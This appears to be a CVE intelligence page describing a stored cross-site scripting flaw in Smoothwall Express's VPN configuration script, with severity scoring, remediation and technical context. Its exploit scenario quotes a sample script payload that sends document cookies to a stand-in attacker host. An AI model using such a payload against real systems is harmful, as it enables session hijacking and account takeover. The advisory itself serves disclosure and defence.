Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v4.0 base score of 5.1 reflects a medium-severity vulnerability with network attack vector, low complexity, and low-privilege attacker requirements, but mitigated by the requirement for user interaction and limited scope (scope change is not indicated). The EPSS exploitation probability is not provided in the input data. Critically, this is a stored XSS requiring both authentication and user interaction-two significant friction points that reduce real-world opportunistic exploitation. However, in a targeted attack against administrative users managing VPN settings, the persistence of the payload and the likelihood of regular page visits by privileged users elevate practical risk. The vulnerability is not listed as actively exploited (no CISA KEV status), and no public proof-of-concept is referenced, meaning the threat landscape is primarily dependent on internal discovery or coordinated disclosure. CVSS vector signals PR:L (low privilege required) and UI:P (user interaction required), confirming authentication and interaction prerequisites. From an SSVC perspective, exploitation is unconfirmed but plausible; impact is limited to session manipulation rather than system compromise; and automatable exploitation would require user cooperation. |
| Exploit ScenarioDerived | An authenticated attacker with low-privilege account access modifies VPN settings, injecting a malicious JavaScript payload such as '<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>' into the VPN_IP parameter. When a higher-privileged administrator or other user accesses the VPN configuration page to review or edit settings, the injected script executes in their browser, silently exfiltrating their session cookies to an attacker-controlled server. The attacker can then use the stolen session to escalate privileges or modify firewall rules. No public exploit code has been identified, but the attack requires only knowledge of the vulnerable parameter and access to a low-privilege account, making it practical in insider or credential-compromise scenarios. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 30, 2026
Stored cross-site scripting in Smoothwall Express prior to version 3.1 Update 13 allows authenticated attackers to inject arbitrary JavaScript through the VPN_IP parameter in /cgi-bin/vpnmain.cgi, which executes when other users view affected VPN configuration pages. The vulnerability requires user interaction (page view) and authenticated access, limiting immediate risk but enabling persistent session hijacking or credential theft against administrative users. No public exploit code or active exploitation has been confirmed at the time of analysis.
RemediationAI
Vendor-released patch: Smoothwall Express 3.1 Update 13 or later. Administrators should immediately upgrade affected Smoothwall Express installations to version 3.1 Update 13 to remediate the stored XSS vulnerability in the VPN configuration subsystem. As an interim control prior to patching, restrict access to the /cgi-bin/vpnmain.cgi endpoint to trusted administrative IP ranges or VPN networks, and audit VPN configuration pages for any suspicious JavaScript or encoded payloads already injected into the VPN_IP parameter. For additional details, consult the vendor advisory at https://community.smoothwall.org/forum/viewtopic.php?t=45095.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in Smoothwall Express (CPE: cpe:2.3:a:smoothwall:express:*:*:*:*:*:*:*:*), a network gateway and firewall appliance platform. The root cause is improper input validation and output encoding in the /cgi-bin/vpnmain.cgi CGI script, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The VPN_IP parameter accepts and stores user-supplied data without sufficient sanitization, allowing injection of malicious JavaScript payloads. When the VPN configuration page is rendered for other authenticated users, the injected script executes in their browser context with the privileges of their session, enabling session-based attacks.
Know when Smoothwall gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
Smoothwall Express versions prior to 3.1 Update 13 contain a stored cross-site scripting vulnerability in the /cgi-bin/vpnmain.cgi script due to improper sanitation of the VPN_IP parameter. Authenticated attackers can inject arbitrary JavaScript through VPN configuration settings that executes when the affected page is viewed by other users.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Smoothwall
View allSmoothwall Express 3.1-SP4-polar-x86_64-update9 contains stored and reflected cross-site scripting vulnerabilities in th
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple stored cross-site scripting vulnerabilities in the pre
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple stored cross-site scripting vulnerabilities in the mod
Multiple cross-site request forgery (CSRF) vulnerabilities in Smoothwall Express 3.1 and 3.0 SP3 allow remote attackers
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unau
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple reflected cross-site scripting vulnerabilities in the
Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows atta
EUVD-2026-17126
GHSA-7455-x3qx-74xc
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB